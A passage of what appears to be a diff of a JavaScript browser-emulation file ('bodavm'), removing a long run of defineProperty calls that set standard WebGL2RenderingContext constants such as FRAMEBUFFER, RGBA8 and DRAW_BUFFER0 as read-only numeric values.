"IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_BUFFER", {configurable:false, enumerable:true, writable:false, value:3074}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ROW_LENGTH", {configurable:false, enumerable:true, writable:false, value:3314}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_ROWS", {configurable:false, enumerable:true, writable:false, value:3315}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_PIXELS", {configurable:false, enumerable:true, writable:false, value:3316}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ROW_LENGTH", {configurable:false, enumerable:true, writable:false, value:3330}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_ROWS", {configurable:false, enumerable:true, writable:false, value:3331}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_PIXELS", {configurable:false, enumerable:true, writable:false, value:3332}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR", {configurable:false, enumerable:true, writable:false, value:6144}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH", {configurable:false, enumerable:true, writable:false, value:6145}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL", {configurable:false, enumerable:true, writable:false, value:6146}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED", {configurable:false, enumerable:true, writable:false, value:6403}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8", {configurable:false, enumerable:true, writable:false, value:32849}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8", {configurable:false, enumerable:true, writable:false, value:32856}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2", {configurable:false, enumerable:true, writable:false, value:32857}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_3D", {configurable:false, enumerable:true, writable:false, value:32874}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_IMAGES", {configurable:false, enumerable:true, writable:false, value:32877}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_IMAGE_HEIGHT", {configurable:false, enumerable:true, writable:false, value:32878}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_3D", {configurable:false, enumerable:true, writable:false, value:32879}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_R", {configurable:false, enumerable:true, writable:false, value:32882}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_3D_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:32883}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_2_10_10_10_REV", {configurable:false, enumerable:true, writable:false, value:33640}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_VERTICES", {configurable:false, enumerable:true, writable:false, value:33000}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_INDICES", {configurable:false, enumerable:true, writable:false, value:33001}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_LOD", {configurable:false, enumerable:true, writable:false, value:33082}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LOD", {configurable:false, enumerable:true, writable:false, value:33083}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BASE_LEVEL", {configurable:false, enumerable:true, writable:false, value:33084}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LEVEL", {configurable:false, enumerable:true, writable:false, value:33085}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN", {configurable:false, enumerable:true, writable:false, value:32775}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX", {configurable:false, enumerable:true, writable:false, value:32776}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT24", {configurable:false, enumerable:true, writable:false, value:33190}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_LOD_BIAS", {configurable:false, enumerable:true, writable:false, value:34045}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_MODE", {configurable:false, enumerable:true, writable:false, value:34892}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_FUNC", {configurable:false, enumerable:true, writable:false, value:34893}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_QUERY", {configurable:false, enumerable:true, writable:false, value:34917}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT", {configurable:false, enumerable:true, writable:false, value:34918}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT_AVAILABLE", {configurable:false, enumerable:true, writable:false, value:34919}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_READ", {configurable:false, enumerable:true, writable:false, value:35041}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_COPY", {configurable:false, enumerable:true, writable:false, value:35042}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_READ", {configurable:false, enumerable:true, writable:false, value:35045}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_COPY", {configurable:false, enumerable:true, writable:false, value:35046}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_READ", {configurable:false, enumerable:true, writable:false, value:35049}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_COPY", {configurable:false, enumerable:true, writable:false, value:35050}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_DRAW_BUFFERS", {configurable:false, enumerable:true, writable:false, value:34852}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER0", {configurable:false, enumerable:true, writable:false, value:34853}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER1", {configurable:false, enumerable:true, writable:false, value:34854}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER2", {configurable:false, enumerable:true, writable:false, value:34855}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER3", {configurable:false, enumerable:true, writable:false, value:34856}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER4", {configurable:false, enumerable:true, writable:false, value:34857}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER5", {configurable:false, enumerable:true, writable:false, value:34858}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER6", {configurable:false, enumerable:true, writable:false, value:34859}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER7", {configurable:false, enumerable:true, writable:false, value:34860}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER8", {configurable:false, enumerable:true, writable:false, value:34861}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER9", {configurable:false, enumerable:true, writable:false, value:34862}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER10", {configurable:false, enumerable:true, writable:false, value:34863}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER11", {configurable:false, enumerable:true, writable:false, value:34864}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER12", {configurable:false, enumerable:true, writable:false, value:34865}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER13", {configurable:false, enumerable:true, writable:false, value:34866}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER14", {configurable:false, enumerable:true, writable:false, value:34867}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER15", {configurable:false, enumerable:true, writable:false, value:34868}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35657}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35658}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:35679}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_SHADOW", {configurable:false, enumerable:true, writable:false, value:35682}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER_DERIVATIVE_HINT", {configurable:false, enumerable:true, writable:false, value:35723}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35051}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35052}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35053}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35055}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x3", {configurable:false, enumerable:true, writable:false, value:35685}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x4", {configurable:false, enumerable:true, writable:false, value:35686}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x2", {configurable:false, enumerable:true, writable:false, value:35687}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x4", {configurable:false, enumerable:true, writable:false, value:35688}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x2", {configurable:false, enumerable:true, writable:false, value:35689}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x3", {configurable:false, enumerable:true, writable:false, value:35690}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB", {configurable:false, enumerable:true, writable:false, value:35904}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8", {configurable:false, enumerable:true, writable:false, value:35905}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8_ALPHA8", {configurable:false, enumerable:true, writable:false, value:35907}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPARE_REF_TO_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34894}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32F", {configurable:false, enumerable:true, writable:false, value:34836}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32F", {configurable:false, enumerable:true, writable:false, value:34837}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16F", {configurable:false, enumerable:true, writable:false, value:34842}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16F", {configurable:false, enumerable:true, writable:false, value:34843}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_INTEGER", {configurable:false, enumerable:true, writable:false, value:35069}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ARRAY_TEXTURE_LAYERS", {configurable:false, enumerable:true, writable:false, value:35071}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN_PROGRAM_TEXEL_OFFSET", {configurable:false, enumerable:true, writable:false, value:35076}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_PROGRAM_TEXEL_OFFSET", {configurable:false, enumerable:true, writable:false, value:35077}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35659}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:35866}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:35869}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R11F_G11F_B10F", {configurable:false, enumerable:true, writable:false, value:35898}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_10F_11F_11F_REV", {configurable:false, enumerable:true, writable:false, value:35899}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB9_E5", {configurable:false, enumerable:true, writable:false, value:35901}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_5_9_9_9_REV", {configurable:false, enumerable:true, writable:false, value:35902}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_MODE", {configurable:false, enumerable:true, writable:false, value:35967}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35968}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_VARYINGS", {configurable:false, enumerable:true, writable:false, value:35971}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_START", {configurable:false, enumerable:true, writable:false, value:35972}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:35973}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN", {configurable:false, enumerable:true, writable:false, value:35976}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RASTERIZER_DISCARD", {configurable:false, enumerable:true, writable:false, value:35977}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35978}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35979}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INTERLEAVED_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35980}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SEPARATE_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35981}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35982}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35983}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32UI", {configurable:false, enumerable:true, writable:false, value:36208}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32UI", {configurable:false, enumerable:true, writable:false, value:36209}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16UI", {configurable:false, enumerable:true, writable:false, value:36214}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16UI", {configurable:false, enumerable:true, writable:false, value:36215}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8UI", {configurable:false, enumerable:true, writable:false, value:36220}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8UI", {configurable:false, enumerable:true, writable:false, value:36221}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32I", {configurable:false, enumerable:true, writable:false, value:36226}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32I", {configurable:false, enumerable:true, writable:false, value:36227}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16I", {configurable:false, enumerable:true, writable:false, value:36232}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16I", {configurable:false, enumerable:true, writable:false, value:36233}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8I", {configurable:false, enumerable:true, writable:false, value:36238}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8I", {configurable:false, enumerable:true, writable:false, value:36239}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_INTEGER", {configurable:false, enumerable:true, writable:false, value:36244}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB_INTEGER", {configurable:false, enumerable:true, writable:false, value:36248}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA_INTEGER", {configurable:false, enumerable:true, writable:false, value:36249}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36289}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY_SHADOW", {configurable:false, enumerable:true, writable:false, value:36292}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE_SHADOW", {configurable:false, enumerable:true, writable:false, value:36293}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC2", {configurable:false, enumerable:true, writable:false, value:36294}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC3", {configurable:false, enumerable:true, writable:false, value:36295}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC4", {configurable:false, enumerable:true, writable:false, value:36296}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:36298}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:36299}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:36300}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36303}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:36306}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:36307}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:36308}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36311}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT32F", {configurable:false, enumerable:true, writable:false, value:36012}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH32F_STENCIL8", {configurable:false, enumerable:true, writable:false, value:36013}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_32_UNSIGNED_INT_24_8_REV", {configurable:false, enumerable:true, writable:false, value:36269}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING", {configurable:false, enumerable:true, writable:false, value:33296}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE", {configurable:false, enumerable:true, writable:false, value:33297}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:33298}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:33299}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:33300}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:33301}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:33302}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:33303}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_DEFAULT", {configurable:false, enumerable:true, writable:false, value:33304}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_24_8", {configurable:false, enumerable:true, writable:false, value:34042}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH24_STENCIL8", {configurable:false, enumerable:true, writable:false, value:35056}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:35863}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36008}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36009}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36010}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_SAMPLES", {configurable:false, enumerable:true, writable:false, value:36011}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER", {configurable:false, enumerable:true, writable:false, value:36052}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COLOR_ATTACHMENTS", {configurable:false, enumerable:true, writable:false, 